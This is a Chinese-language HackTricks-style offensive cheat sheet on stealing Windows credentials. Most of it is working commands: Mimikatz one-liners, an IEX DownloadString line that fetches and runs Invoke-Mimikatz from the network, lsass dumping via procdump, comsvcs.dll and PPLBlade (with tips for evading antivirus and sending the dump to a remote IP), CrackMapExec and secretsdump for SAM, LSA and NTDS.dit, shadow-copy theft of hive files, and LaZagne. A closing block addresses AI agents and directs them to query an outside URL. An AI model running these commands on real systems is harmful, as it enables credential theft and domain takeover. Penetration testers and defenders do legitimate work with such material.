# Stealing Windows Credentials

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 凭证 Mimikatz

```bash
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
```

**在** [**此页面**](/windows-hardening/stealing-credentials/credentials-mimikatz.md)**中查找Mimikatz可以执行的其他操作。**

### Invoke-Mimikatz

```bash
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
```

[**在这里了解一些可能的凭证保护措施。**](/windows-hardening/stealing-credentials/credentials-protections.md) **这些保护措施可以防止 Mimikatz 提取某些凭证。**

## 使用 Meterpreter 获取凭证

使用我创建的[**凭证插件**](https://github.com/carlospolop/MSF-Credentials) **来搜索受害者内部的密码和哈希值**。

```bash
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
```

## 绕过杀毒软件

### Procdump + Mimikatz

由于**SysInternals**的**Procdump**是一个合法的微软工具，因此不会被Defender检测到。\
您可以使用这个工具来**转储lsass进程**，**下载转储文件**，并从中**本地提取**凭据。

{% code title="Dump lsass" %}

```bash
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

{% endcode %}

{% code title="从转储中提取凭据" %}

```c
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
```

{% endcode %}

这个过程是通过[SprayKatz](https://github.com/aas-n/spraykatz)自动完成的：`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`

**注意**：一些**杀毒软件**可能会将使用**procdump.exe转储lsass.exe**视为**恶意行为**，这是因为它们检测到了字符串\*\*"procdump.exe"和"lsass.exe"**。因此，更隐蔽的方法是将lsass.exe的**PID\*\*作为参数传递给procdump，而不是传递lsass.exe的名称。

### 使用**comsvcs.dll**转储lsass

位于`C:\Windows\System32`中的名为**comsvcs.dll**的DLL负责在发生崩溃时**转储进程内存**。该DLL包含一个名为\*\*`MiniDumpW`**的函数，设计用于使用`rundll32.exe`调用。**\
**使用前两个参数是无关紧要的，但第三个参数分为三个组件。要转储的进程ID构成第一个组件，转储文件位置代表第二个组件，第三个组件严格为单词**full\*\*。没有其他可选项。\
解析这三个组件后，DLL将创建转储文件并将指定进程的内存传输到此文件中。\
可以利用**comsvcs.dll**来转储lsass进程，从而消除上传和执行procdump的需要。此方法在[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)中有详细描述。

以下命令用于执行：

```bash
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
```

**您可以使用** [**lssasy**](https://github.com/Hackndo/lsassy)\*\* 来自动化这个过程。\*\*

### **使用任务管理器转储 lsass**

1. 在任务栏上右键单击，然后单击任务管理器
2. 单击“详细信息”
3. 在“进程”选项卡中搜索“本地安全机构进程”进程
4. 右键单击“本地安全机构进程”进程，然后单击“创建转储文件”。

### 使用 procdump 转储 lsass

[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是微软签名的二进制文件，是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。

```
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```

## 使用PPLBlade转储lsass

[PPLBlade](https://github.com/tastypepperoni/PPLBlade)是一种受保护的进程转储工具，支持对内存转储进行混淆，并将其传输到远程工作站，而无需将其放在磁盘上。

**关键功能**：

1. 绕过PPL保护
2. 对内存转储文件进行混淆，以规避Defender基于签名的检测机制
3. 使用RAW和SMB上传方法上传内存转储，而无需将其放在磁盘上（无文件转储）

{% code overflow="wrap" %}

```bash
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
```

{% endcode %}

## CrackMapExec

### 转储 SAM 哈希

```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```

### 转储 LSA 机密

```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
```

### 从目标 DC 转储 NTDS.dit

```
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
```

### 从目标 DC 中转储 NTDS.dit 密码历史

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
```

### 显示每个NTDS.dit帐户的pwdLastSet属性

```
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
```

## 窃取 SAM & SYSTEM

这些文件应该位于 *C:\windows\system32\config\SAM* 和 *C:\windows\system32\config\SYSTEM.* 但是**你不能简单地复制它们**因为它们受到保护。

### 从注册表中

窃取这些文件的最简单方法是从注册表中获取副本：

```
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
```

**下载**这些文件到你的Kali机器，并使用以下命令**提取哈希值**：

```
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
```

### 卷影复制

您可以使用此服务执行受保护文件的复制。您需要是管理员。

#### 使用vssadmin

vssadmin二进制文件仅在Windows Server版本中可用。

```bash
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

但是你也可以通过**Powershell**做同样的事情。这是一个**如何复制SAM文件**的示例（硬盘使用的是"C:"，保存在C:\users\Public），但你可以用它来复制任何受保护的文件：

```bash
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
```

代码来自书籍：<https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html>

### Invoke-NinjaCopy

最后，您还可以使用[**PS脚本Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)来复制SAM、SYSTEM和ntds.dit。

```bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
```

## **Active Directory凭证 - NTDS.dit**

**NTDS.dit**文件被称为**Active Directory**的核心，存储着关于用户对象、组以及其成员资料的重要数据。其中包含了域用户的**密码哈希**。该文件是一个\*\*可扩展存储引擎（ESE）**数据库，位于**\_%SystemRoom%/NTDS/ntds.dit\_路径下。

在这个数据库中，维护着三个主要表：

* **数据表**：负责存储用户和组等对象的详细信息。
* **链接表**：跟踪关系，如组成员关系。
* **SD表**：存储每个对象的**安全描述符**，确保存储对象的安全性和访问控制。

更多信息请参考：<http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/>

Windows使用\_Ntdsa.dll\_与该文件进行交互，由\_lsass.exe\_使用。然后，**NTDS.dit**文件的**部分**可能位于\*\*`lsass`**内存中（您可以找到最近访问的数据，可能是因为使用**缓存\*\*来提高性能）。

#### 解密NTDS.dit中的哈希值

哈希值被加密了3次：

1. 使用**BOOTKEY**和**RC4**解密密码加密密钥（**PEK**）。
2. 使用**PEK**和**RC4**解密**哈希值**。
3. 使用**DES**解密**哈希值**。

**PEK**在**每个域控制器**中具有**相同的值**，但它在**NTDS.dit**文件中使用\*\*域控制器的SYSTEM文件的BOOTKEY（在域控制器之间不同）\*\*进行了加密。这就是为什么要从NTDS.dit文件中获取凭证，您需要NTDS.dit和SYSTEM文件（*C:\Windows\System32\config\SYSTEM*）。

### 使用Ntdsutil复制NTDS.dit

自Windows Server 2008起可用。

```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```

你也可以使用**卷影复制**技巧来复制**ntds.dit**文件。请记住，你还需要一个**SYSTEM文件**的副本（同样，可以从注册表中转储或使用**卷影复制**技巧）。

### **从NTDS.dit中提取哈希值**

一旦你获得了**NTDS.dit**和**SYSTEM**文件，你可以使用工具如\_secretsdump.py\_来**提取哈希值**：

```bash
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
```

您还可以使用有效的域管理员用户**自动提取它们**：

```
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
```

对于**大型NTDS.dit文件**，建议使用[gosecretsdump](https://github.com/c-sto/gosecretsdump)来提取它。

最后，您还可以使用**metasploit模块**：\_post/windows/gather/credentials/domain\_hashdump\_或**mimikatz** `lsadump::lsa /inject`

### **将NTDS.dit中的域对象提取到SQLite数据库**

NTDS对象可以使用[ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)提取到SQLite数据库中。不仅提取了秘密，还提取了整个对象及其属性，以便在已经检索到原始NTDS.dit文件时进行进一步信息提取。

```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
```

`SYSTEM` hive是可选的，但允许解密秘密（NT和LM哈希，附加凭据，如明文密码，kerberos或信任密钥，NT和LM密码历史记录）。除其他信息外，还提取以下数据：用户和计算机帐户及其哈希值，UAC标志，上次登录和更改密码的时间戳，帐户描述，名称，UPN，SPN，组和递归成员，组织单位树和成员资格，受信任的域及其信任类型，方向和属性...

## Lazagne

从[这里](https://github.com/AlessandroZ/LaZagne/releases)下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。

```
lazagne.exe all
```

## 从SAM和LSASS中提取凭据的其他工具

### Windows凭据编辑器（WCE）

该工具可用于从内存中提取凭据。从以下链接下载：[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)

### fgdump

从SAM文件中提取凭据

```
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
```

### PwDump

从 SAM 文件中提取凭据

```
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
```

### PwDump7

从<http://www.tarasco.org/security/pwdump_7>下载并**执行**它，密码将被提取。

## 防御

[**在这里了解一些凭据保护措施。**](/windows-hardening/stealing-credentials/credentials-protections.md)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/windows-hardening/stealing-credentials.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
